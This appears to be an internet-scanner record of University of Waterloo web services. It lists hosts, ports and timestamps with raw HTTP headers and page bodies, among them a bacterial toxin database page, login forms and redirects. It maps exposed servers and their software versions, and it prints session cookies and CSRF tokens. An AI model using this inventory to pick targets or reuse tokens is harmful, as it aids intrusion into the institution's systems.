Server: nginx/1.10.3 (Ubuntu)
Date: Sat, 24 Jan 2026 03:47:25 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 3922
Connection: close
X-Powered-By: Shiny Server
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Sun, 10 Jan 2021 14:08:23 GMT
ETag: W/"f52-176eca06598"
Vary: Accept-Encoding
Page title: DiffBase
<!DOCTYPE html>
<html lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>DiffBase</title>
<style type="text/css">
body, html {
font-family: Helvetica, Arial, sans-serif;
background-color: #F5F5F5;
color: #114;
margin: 0;
padding: 0;
}
a {
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
#titleBar {
height: 80px;
background-color: #FFF;
overflow: hidden;
border-bottom: 1px solid #d3d3d3;
}
#titleBar #container {
margin-top: 14px;
}
#titleBar h1 {
margin: 0 auto .5em auto;
padding: .2em;
color: #D9230F;
text-align: center;
}
#outer-content {
max-width: 910px;
margin-left: auto;
margin-right: auto;
}
#content {
margin: 1em auto 1em auto;
margin-bottom: 150px;
float: left;
}
#main{
float: left;
line-height: 24px;
}
.button {
background-color: #D9230F;
border: none;
color: white;
padding: 15px 25px;
text-align: center;
font-size: 16px;
cursor: pointer;
border-radius: 10px;
}
.button:hover {
background-color: grey;
}
.boxed {
border: 1px solid #d3d3d3;
background-color: #FFF;
width: auto;
margin: 0 auto;
padding: 20px;
}
.footer {
position: fixed;
left: 0;
right: 0;
bottom: 0;
width: 100%;
background-color: #FFF;
color: grey;
padding: 20px;
width: 97%;
height: 80px;
}
</style>
</head>
<body>
<div id="titleBar">
<div id="container">
<h1>DiffBase: A bioinformatic classification of <i>C. difficile</i> toxins</h1>
</div>
</div>
<div id="outer-content">
<div id="content">
<div id="main">
<br>
<div id="wrapper" style = "text-align: center;">
<a href="./app-A/"><button class="button">Toxin A</button></a>
<a href="./app-B/"><button class="button">Toxin B</button></a>
</div>
<br>
<br>
<div id="wrapper" style = "text-align: center;">
<a href="./straintable.html"><button class="button">Strain table</button></a>
</div>
<br>
<br>
<div class="boxed">
<h2 align = "center">Description</h2>
<p>DiffBase is an online database of Toxin A (TcdA) and Toxin B (TcdB) protein sequences derived from currently available <i>C. difficile</i> strains. TcdA and TcdB have been bioinformatically classified into distinct groups (subtypes) based on their sequence similarities. The full bioinformatic analysis pipeline is described here: <a href="https://github.com/doxeylab/diffbase">github.com/doxeylab/diffbase</a>.</p>
<h2 align = "center">Citation</h2>
<p>Mansfield, M.J., Tremblay, B.J.M., Zeng, J., Wei, X., Hodgins, H., Worley, J., Bry, L., Dong, M., and Doxey, A.C. (2020). Phylogenomics of 8,839 <em>Clostridioides difficile</em> genomes reveals recombination-driven evolution and diversification of toxin A and B. PLOS Pathogens 16(12): e1009181. <a href="https://doi.org/10.1371/journal.ppat.1009181">https://doi.org/10.1371/journal.ppat.1009181</a>.</p>
<h2 align = "center">Funding</h2>
<p>This project was funded by NSERC. <img src="./NSERC.jpg" height="27" width="60"/></p>
</div>
</div>
</div>
</div>
<div class="footer">
<p style="text-align:left;">
Benjamin Tremblay - Software/database development
<span style="float: right;">
Min Dong - Project supervision
</span>
</p>
<p style="text-align:left;">
Michael Mansfield - Data analysis
<span style="float: right;">
Andrew Doxey - Project supervision
</span>
</p>
</div>
</body>
</html>
Open service 129.97.222.96:80 · scibase.uwaterloo.ca
2026-01-24 00:44
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://scibase.uwaterloo.ca/ Server: Caddy Date: Sat, 24 Jan 2026 00:45:10 GMT Content-Length: 0
Open service 129.97.222.96:443 · scibase.uwaterloo.ca
2026-01-24 00:44
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://scibase.uwaterloo.ca/ Server: Caddy Date: Sat, 24 Jan 2026 00:44:43 GMT Content-Length: 0 Connection: close
Open service 129.97.242.207:80 · nextcloud.watgamer.uwaterloo.ca
2026-01-23 23:53
HTTP/1.1 301 Moved Permanently Date: Fri, 23 Jan 2026 23:53:55 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://nextcloud.watgamer.uwaterloo.ca/ Content-Length: 345 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://nextcloud.watgamer.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at nextcloud.watgamer.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.242.207:443 · nextcloud.watgamer.uwaterloo.ca
2026-01-23 23:53
HTTP/1.1 302 Found Date: Fri, 23 Jan 2026 23:53:36 GMT Server: Apache/2.4.52 (Ubuntu) Strict-Transport-Security: max-age=63072000; includeSubDomains Referrer-Policy: no-referrer X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow X-XSS-Protection: 1; mode=block Set-Cookie: nextcloud=lf5eu1as87lcq3khnfs08115pn; path=/; secure; HttpOnly; SameSite=Lax Set-Cookie: oc_sessionPassphrase=m7FgzQg%2BbF7LWglp4Hwa%2FKyjEId0BDE4Lm7JpzwTpR33RsoNABuUfZh8Bo1YEX87Opq4ShEJKsxhfBzoTuY1uScd0kylnvuoNxBWNs1YF7lObAh9bV3AwAGXaIW2opz5; path=/; secure; HttpOnly; SameSite=Lax Set-Cookie: nextcloud=lf5eu1as87lcq3khnfs08115pn; path=/; secure; HttpOnly; SameSite=Lax Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-cGhiemNxdERrVVdRSG54czJVeHVPYmNnckJlZ2g2TmlsN2JWNU5DbVRuOD06eUNHOVJ2d2l3UXZSYVM1ZW9EVU1jTVZWNzBHTDFlUlE4dmUwa2FMdUkwND0='; style-src 'self' 'unsafe-inline'; frame-src *; img-src * data: blob:; font-src 'self' data:; media-src *; connect-src *; object-src 'none'; base-uri 'self'; Set-Cookie: __Host-nc_sameSiteCookielax=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=lax Set-Cookie: __Host-nc_sameSiteCookiestrict=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=strict Set-Cookie: nextcloud=lf5eu1as87lcq3khnfs08115pn; path=/; secure; HttpOnly; SameSite=Lax Location: https://nextcloud.watgamer.uwaterloo.ca/login Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.222.96:443 · www.ace.uwaterloo.ca
2026-01-23 22:24
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://uwaterloo.ca/atmospheric-chemistry-experiment Server: Caddy Date: Fri, 23 Jan 2026 22:24:30 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · www.ace.uwaterloo.ca
2026-01-23 22:24
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://www.ace.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 22:24:59 GMT Content-Length: 0
Open service 129.97.75.18:443 · review.rcs.uwaterloo.ca
2026-01-23 21:38
HTTP/1.1 200 OK Date: Fri, 23 Jan 2026 21:38:08 GMT Server: Apache/2.4.65 (FreeBSD) OpenSSL/3.0.16 PHP/8.2.29 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Powered-By: PHP/8.2.29 Set-Cookie: phsid=A%2Fm7redveqgzmgffmhjqyqrp55vltrxo2wxyvvam5x; expires=Wed, 22 Jan 2031 21:38:08 GMT; Max-Age=157680000; path=/; domain=review.rcs.uwaterloo.ca; secure; HttpOnly Set-Cookie: next_uri=1769204288%2C%2F; path=/; domain=review.rcs.uwaterloo.ca; secure; HttpOnly Set-Cookie: phcid=ru27pl3cly2qzw3i; path=/; domain=review.rcs.uwaterloo.ca; secure; HttpOnly X-Frame-Options: Deny Content-Security-Policy: default-src 'self' https://review.rcs.uwaterloo.ca; img-src 'self' https://review.rcs.uwaterloo.ca data:; style-src 'self' https://review.rcs.uwaterloo.ca 'unsafe-inline'; script-src 'self' https://review.rcs.uwaterloo.ca; connect-src 'self'; frame-src 'self'; frame-ancestors 'none'; object-src 'none'; form-action 'self'; base-uri 'none' Referrer-Policy: no-referrer Cache-Control: no-store Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff Content-Length: 6345 Connection: close Content-Type: text/html; charset=UTF-8 Page title: Login <!DOCTYPE html><html><head><meta charset="UTF-8" /><title>Login</title><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes" /><link rel="mask-icon" color="#3D4B67" href="https://review.rcs.uwaterloo.ca/res/phabricator/db699fe1/rsrc/favicons/mask-icon.svg" /><link rel="apple-touch-icon" sizes="76x76" href="https://review.rcs.uwaterloo.ca/file/data/utdr6vsd6xy3tpqldmk7/PHID-FILE-fg6kt4k3vn46zm2l7qb6/favicon" /><link rel="apple-touch-icon" sizes="120x120" href="https://review.rcs.uwaterloo.ca/file/data/j74irikbrovup7uitilo/PHID-FILE-5gyqqf3cukzswgtvers2/favicon" /><link rel="apple-touch-icon" sizes="152x152" href="https://review.rcs.uwaterloo.ca/file/data/kn2e6jtc6lrpxx4fwu7h/PHID-FILE-vspozmkqpp6urwn4imbm/favicon" /><link rel="icon" id="favicon" href="https://review.rcs.uwaterloo.ca/file/data/oeokbquuaycleroouu67/PHID-FILE-ltmee5cf6nkmveuuglo5/favicon" /><meta name="referrer" content="no-referrer" /><link rel="stylesheet" type="text/css" href="https://review.rcs.uwaterloo.ca/res/defaultX/phabricator/64703355/core.pkg.css" /><script type="text/javascript" src="https://review.rcs.uwaterloo.ca/res/defaultX/phabricator/98e6504a/rsrc/externals/javelin/core/init.js"></script></head><body class="device-desktop phui-theme-blindigo"><div class="main-page-frame" id="main-page-frame"><div id="phabricator-standard-page" class="phabricator-standard-page"><div class="phabricator-main-menu phabricator-main-menu-background" id="UQ0_4"><a class="phabricator-main-menu-brand" href="/"><span class="aural-only">Home</span><span class="phabricator-main-menu-project-logo" style=""></span><span class="phabricator-wordmark">Phorge</span></a></div><div id="phabricator-standard-page-body" class="phabricator-standard-page-body"><div class="phui-crumbs-view phui-crumbs-border"><a href="/auth/" class="phui-crumb-view phui-crumb-has-icon"><span class="visual-only phui-icon-view phui-font-fa fa-key" data-meta="0_2" aria-hidden="true"></span><span class="phui-crumb-name"> Auth</span> </a><span class="visual-only phui-icon-view phui-font-fa fa-angle-right phui-crumb-divider phui-crumb-view" data-meta="0_3" aria-hidden="true"></span><span class="phui-crumb-view phabricator-last-crumb"><span class="phui-crumb-name"> Login</span> </span></div><form action="/auth/login/password:self/" method="POST" class="aphront-dialog-view " role="dialog" data-sigil="jx-dialog"><input type="hidden" name="__csrf__" value="B@dbt6dscx738f7d42326fbb61" /><input type="hidden" name="__form__" value="1" /><input type="hidden" name="__dialog__" value="1" /><div class="aphront-dialog-head"><div class="phui-header-shell "><h1 class="phui-header-view"><div class="phui-header-row"><div class="phui-header-col2"><span class="phui-header-header">Log In</span></div><div class="phui-header-col3"></div></div></h1></div></div><div class="aphront-dialog-body grouped"><div class="phui-form-view phui-form-full-width"><div class="aphront-form-control grouped aphront-form-control-text"><label class="aphront-form-label" for="UQ0_0">Username or Email</label><div class="aphront-form-input"><input type="text" name="username" id="UQ0_0" autofocus="autofocus" /></div></div><div class="aphront-form-control grouped aphront-form-control-password"><label class="aphront-form-label" for="UQ0_1">Password</label><div class="aphront-form-input"><input type="password" name="password" id="UQ0_1" /></div></div></div></div><div class="aphront-dialog-tail grouped"><button name="__submit__" type="submit" data-sigil="__default__" data-meta="0_0">Log In</button><div class="aphront-dialog-foot"><a href="/login/email/">Forgot your password?</a></div></div></form><form action="/auth/login/ldap:self/" method="POST" class="aphront-dialog-view " role="dialog" data-sigil="jx-dialog"><input type="hidden" name="__csrf__" value="B@dbt6dscx738f7d42326fbb61" /><input type="hidden" name="__form__" value="1" /><input type="hidden" name="__dialog__" value="1" /><div class="aphront-dialog-head"><div class="phui-header-shell "><h1 class="phui-header-view"><div class="phui-header-row"><div class="phui-hea
Open service 129.97.75.18:80 · review.rcs.uwaterloo.ca
2026-01-23 21:38
HTTP/1.1 302 Found Date: Fri, 23 Jan 2026 21:38:27 GMT Server: Apache/2.4.65 (FreeBSD) OpenSSL/3.0.16 PHP/8.2.29 X-Powered-By: PHP/8.2.29 X-Frame-Options: Deny Content-Security-Policy: default-src 'self' https://review.rcs.uwaterloo.ca; img-src 'self' https://review.rcs.uwaterloo.ca data:; style-src 'self' https://review.rcs.uwaterloo.ca 'unsafe-inline'; script-src 'self' https://review.rcs.uwaterloo.ca; connect-src 'self'; frame-src 'self'; frame-ancestors 'none'; object-src 'none'; form-action 'self'; base-uri 'none' Referrer-Policy: no-referrer Location: https://review.rcs.uwaterloo.ca/ Cache-Control: no-store Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.7.167:443 · deliberarts.pandora.cs.uwaterloo.ca
2026-01-23 21:10
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Fri, 23 Jan 2026 21:10:34 GMT
Link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2"
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
X-Powered-By: Next.js
Connection: close
Transfer-Encoding: chunked
Page title: Next.js and Supabase Starter Kit
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/1ef253af618301fc.css" data-precedence="next"/><link rel="stylesheet" href="/_next/static/css/9c3444d6b954b3ef.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-dfacfd9a624c549b.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-1a334e32aac762cd.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><script src="/_next/static/chunks/app/layout-61749e99c51e1518.js" async=""></script><script src="/_next/static/chunks/559-b87c0214964217b5.js" async=""></script><script src="/_next/static/chunks/756-6c4383bb0542c357.js" async=""></script><script src="/_next/static/chunks/619-ba102abea3e3d0e4.js" async=""></script><script src="/_next/static/chunks/586-a5e95c44f83d18be.js" async=""></script><script src="/_next/static/chunks/768-7902aa24bce0bd1f.js" async=""></script><script src="/_next/static/chunks/app/page-dcfdeb8c0e8a6d7c.js" async=""></script><meta name="next-size-adjust" content=""/><title>Next.js and Supabase Starter Kit</title><meta name="description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:title" content="Next.js and Supabase Starter Kit"/><meta property="og:description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:image:type" content="image/png"/><meta property="og:image:width" content="1200"/><meta property="og:image:height" content="600"/><meta property="og:image" content="http://localhost:3000/opengraph-image.png?2e0bc232e210f89d"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:title" content="Next.js and Supabase Starter Kit"/><meta name="twitter:description" content="The fastest way to build apps with Next.js and Supabase"/><meta name="twitter:image:type" content="image/png"/><meta name="twitter:image:width" content="1200"/><meta name="twitter:image:height" content="600"/><meta name="twitter:image" content="http://localhost:3000/twitter-image.png?2e0bc232e210f89d"/><link rel="icon" href="/favicon.ico" type="image/x-icon" sizes="16x16"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body class="__className_188709 antialiased"><div hidden=""><!--$--><!--/$--></div><script>((a,b,c,d,e,f,g,h)=>{let i=document.documentElement,j=["light","dark"];function k(b){var c;(Array.isArray(a)?a:[a]).forEach(a=>{let c="class"===a,d=c&&f?e.map(a=>f[a]||a):e;c?(i.classList.remove(...d),i.classList.add(f&&f[b]?f[b]:b)):i.setAttribute(a,b)}),c=b,h&&j.includes(c)&&(i.style.colorScheme=c)}if(d)k(d);else try{let a=localStorage.getItem(b)||c,d=g&&"system"===a?window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light":a;k(d)}catch(a){}})("class","theme","system",null,["light","dark"],null,true,true)</script><main class="min-h-screen flex flex-col items-center"><div class="flex-1 w-full flex flex-col"><nav class="w-full flex border-b border-b-foreground/10 h-16 sticky"><div class="w-full flex justify-between items-center p-8 px-16 text-sm"><div class="flex gap-5 items-center font-semibold"><a href="/">deliberarts (wip)</a></div><div class="flex gap-5 items-center"><div class="flex gap-2"><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0 border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground h-8 rounded-md px-3 text-xs" href="/auth/login">Sign in</a><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:poi
Open service 129.97.7.167:443 · ickok4o0go40kcowsocsow0c.pandora.cs.uwaterloo.ca
2026-01-23 21:06
HTTP/1.1 503 Service Unavailable Alt-Svc: h3=":443"; ma=2592000 Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Fri, 23 Jan 2026 21:07:23 GMT Content-Length: 20 Connection: close no available server
Open service 129.97.83.52:80 · communitydesirelines.uwaterloo.ca
2026-01-23 20:17
HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Location: https://communitydesirelines.uwaterloo.ca/ Server: Microsoft-IIS/10.0 Date: Fri, 23 Jan 2026 20:18:00 GMT Connection: close Content-Length: 165 Page title: Document Moved <head><title>Document Moved</title></head> <body><h1>Object Moved</h1>This document may be found <a HREF="https://communitydesirelines.uwaterloo.ca/">here</a></body>
Open service 129.97.83.52:443 · communitydesirelines.uwaterloo.ca
2026-01-23 20:17
HTTP/1.1 502 Bad Gateway
Content-Type: text/html
Server: Microsoft-IIS/10.0
Date: Fri, 23 Jan 2026 20:18:00 GMT
Connection: close
Content-Length: 1477
Page title: 502 - Web server received an invalid response while acting as a gateway or proxy server.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>502 - Web server received an invalid response while acting as a gateway or proxy server.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>502 - Web server received an invalid response while acting as a gateway or proxy server.</h2>
<h3>There is a problem with the page you are looking for, and it cannot be displayed. When the Web server (while acting as a gateway or proxy) contacted the upstream content server, it received an invalid response from the content server.</h3>
</fieldset></div>
</div>
</body>
</html>
Open service 129.97.75.25:443 · syn.uwaterloo.ca
2026-01-23 18:56
HTTP/1.1 200 OK
Content-Type: text/html
ETag: "4030087855"
Last-Modified: Mon, 14 Apr 2025 18:32:26 GMT
Content-Length: 3709
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Accept-Ranges: bytes
Connection: close
Date: Fri, 23 Jan 2026 18:56:03 GMT
Server: lighttpd/1.4.82
Page title: Systems and Networking Group
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Systems and Networking @ University of Waterloo">
<meta name="author" content="Ali Mashtizadeh">
<title>Systems and Networking Group</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css">
<link href="jumbotron.css" rel="stylesheet">
</head>
<body>
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="#">SYN</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarsExampleDefault" aria-controls="navbarsExampleDefault" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarsExampleDefault">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="/index.html">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/people.html">People</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/publications.html">Publications</a>
</li>
</ul>
</div>
</nav>
<main role="main">
<div class="jumbotron">
<div class="container">
<h1 class="display-3">Systems and Networking</h1>
<h2>@ University of Waterloo</h2>
</div>
</div>
<div class="container">
<!-- Example row of columns -->
<div class="row">
<div class="col-md-8">
<p>The focus of the Systems and Networking Group is the design, implementation,
analysis, and evaluation of computer systems and networks that knit together
disparate underlying components to present a cohesive operating environment for
task-specific applications.</p>
<p>Our members study systems ranging from single-processor, standalone embedded
systems to large-scale highly-networked distributed systems. Research activity
similarly covers a broad variety of topics: parallel hardware, systems
software, data-centre networking and data-centre systems, wireless networks,
energy systems, and wide-area networks.</p>
<p>We use many approaches in our work, reflecting our varied expertise. This
includes workload characterization, architectural design, algorithm design,
theoretical analysis, simulation, and the design, implementation and
experimental evaluation of prototype systems.</p>
<p>Contact: <a href="mailto:cs-syn@uwaterloo.ca">cs-syn@uwaterloo.ca</a></p>
</div>
<div class="col-md-4">
<h2>Groups</h2>
<ul>
<li><a href="https://rcs.uwaterloo.ca/">RCS Lab</a></li>
<li><a href="https://wasl.uwaterloo.ca/">WASL</a></li>
</ul>
</div>
</div>
<hr>
</div> <!-- /container -->
</main>
<footer class="container">
<p class="float-left">© University of Waterloo 2018–2025</p>
<div class="col-md-3 float-right"><a href="https://cs.uwaterloo.ca/">
<img src="uwcs.png" class="img-fluid">
</a></div>
</footer>
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js"></script>
</body>
</html>
Open service 129.97.75.25:80 · syn.uwaterloo.ca
2026-01-23 18:56
HTTP/1.1 301 Moved Permanently Location: https://syn.uwaterloo.ca/ Content-Length: 0 Connection: close Date: Fri, 23 Jan 2026 18:56:31 GMT Server: lighttpd/1.4.82
Open service 129.97.206.39:443 · repo-p02.math.uwaterloo.ca
2026-01-23 17:36
HTTP/1.1 307 Temporary Redirect Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Jan 2026 17:36:47 GMT Content-Type: text/html Content-Length: 180 Connection: close Location: https://checkvpn.uwaterloo.ca/?callback=https://repo-p02.math.uwaterloo.ca/ Page title: 307 Temporary Redirect <html> <head><title>307 Temporary Redirect</title></head> <body> <center><h1>307 Temporary Redirect</h1></center> <hr><center>nginx/1.18.0 (Ubuntu)</center> </body> </html>
Open service 129.97.206.39:80 · repo-p02.math.uwaterloo.ca
2026-01-23 17:36
HTTP/1.1 307 Temporary Redirect Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Jan 2026 17:36:47 GMT Content-Type: text/html Content-Length: 180 Connection: close Location: https://checkvpn.uwaterloo.ca/?callback=https://repo-p02.math.uwaterloo.ca/ Page title: 307 Temporary Redirect <html> <head><title>307 Temporary Redirect</title></head> <body> <center><h1>307 Temporary Redirect</h1></center> <hr><center>nginx/1.18.0 (Ubuntu)</center> </body> </html>
Open service 129.97.206.39:443 · repo.math.uwaterloo.ca
2026-01-23 17:36
HTTP/1.1 307 Temporary Redirect Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Jan 2026 17:36:47 GMT Content-Type: text/html Content-Length: 180 Connection: close Location: https://checkvpn.uwaterloo.ca/?callback=https://repo.math.uwaterloo.ca/ Page title: 307 Temporary Redirect <html> <head><title>307 Temporary Redirect</title></head> <body> <center><h1>307 Temporary Redirect</h1></center> <hr><center>nginx/1.18.0 (Ubuntu)</center> </body> </html>
Open service 129.97.206.39:80 · repo.math.uwaterloo.ca
2026-01-23 17:36
HTTP/1.1 307 Temporary Redirect Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Jan 2026 17:36:47 GMT Content-Type: text/html Content-Length: 180 Connection: close Location: https://checkvpn.uwaterloo.ca/?callback=https://repo.math.uwaterloo.ca/ Page title: 307 Temporary Redirect <html> <head><title>307 Temporary Redirect</title></head> <body> <center><h1>307 Temporary Redirect</h1></center> <hr><center>nginx/1.18.0 (Ubuntu)</center> </body> </html>
Open service 129.97.222.96:443 · virt.sci.uwaterloo.ca
2026-01-23 16:03
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://virt.sci.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 16:03:28 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · virt.sci.uwaterloo.ca
2026-01-23 16:03
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://virt.sci.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 16:03:57 GMT Content-Length: 0
Open service 129.97.222.96:80 · leung.uwaterloo.ca
2026-01-23 15:24
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://leung.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 15:25:03 GMT Content-Length: 0
Open service 129.97.222.96:443 · leung.uwaterloo.ca
2026-01-23 15:24
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://uwaterloo.ca/leung-lab Server: Caddy Date: Fri, 23 Jan 2026 15:24:35 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · datastream.sci.uwaterloo.ca
2026-01-23 15:23
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://datastream.sci.uwaterloo.ca/ Server: Caddy Date: Fri, 23 Jan 2026 15:24:09 GMT Content-Length: 0
Open service 129.97.222.96:443 · datastream.sci.uwaterloo.ca
2026-01-23 15:23
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Cache-Control: no-store Content-Length: 29 Content-Type: text/html; charset=utf-8 Date: Fri, 23 Jan 2026 15:23:40 GMT Location: /login Via: 1.1 Caddy X-Content-Type-Options: nosniff X-Frame-Options: deny X-Xss-Protection: 1; mode=block Connection: close <a href="/login">Found</a>.
Open service 129.97.222.16:80 · artsresearch.uwaterloo.ca
2026-01-23 14:32
HTTP/1.1 302 Found Date: Fri, 23 Jan 2026 14:33:07 GMT Server: Apache/2.4.29 (Ubuntu) Strict-Transport-Security: max-age=31536000; includeSubDomains Location: https://artsresearch.uwaterloo.ca/ Content-Length: 309 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://artsresearch.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at artsresearch.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.222.16:443 · artsresearch.uwaterloo.ca
2026-01-23 14:32
HTTP/1.1 200 OK
Date: Fri, 23 Jan 2026 14:32:50 GMT
Server: Apache/2.4.29 (Ubuntu)
Strict-Transport-Security: max-age=31536000; includeSubDomains
Last-Modified: Mon, 04 Jul 2016 19:23:19 GMT
ETag: "2cf9-536d444d53d0b"
Accept-Ranges: bytes
Content-Length: 11513
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Page title: Apache2 Ubuntu Default Page: It works
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="https://www.w3.org/1999/xhtml">
<!--
Modified from the Debian original for Ubuntu
Last updated: 2014-03-19
See: https://launchpad.net/bugs/1288690
-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Apache2 Ubuntu Default Page: It works</title>
<style type="text/css" media="screen">
* {
margin: 0px 0px 0px 0px;
padding: 0px 0px 0px 0px;
}
body, html {
padding: 3px 3px 3px 3px;
background-color: #D8DBE2;
font-family: Verdana, sans-serif;
font-size: 11pt;
text-align: center;
}
div.main_page {
position: relative;
display: table;
width: 800px;
margin-bottom: 3px;
margin-left: auto;
margin-right: auto;
padding: 0px 0px 0px 0px;
border-width: 2px;
border-color: #212738;
border-style: solid;
background-color: #FFFFFF;
text-align: center;
}
div.page_header {
height: 99px;
width: 100%;
background-color: #F5F6F7;
}
div.page_header span {
margin: 15px 0px 0px 50px;
font-size: 180%;
font-weight: bold;
}
div.page_header img {
margin: 3px 0px 0px 40px;
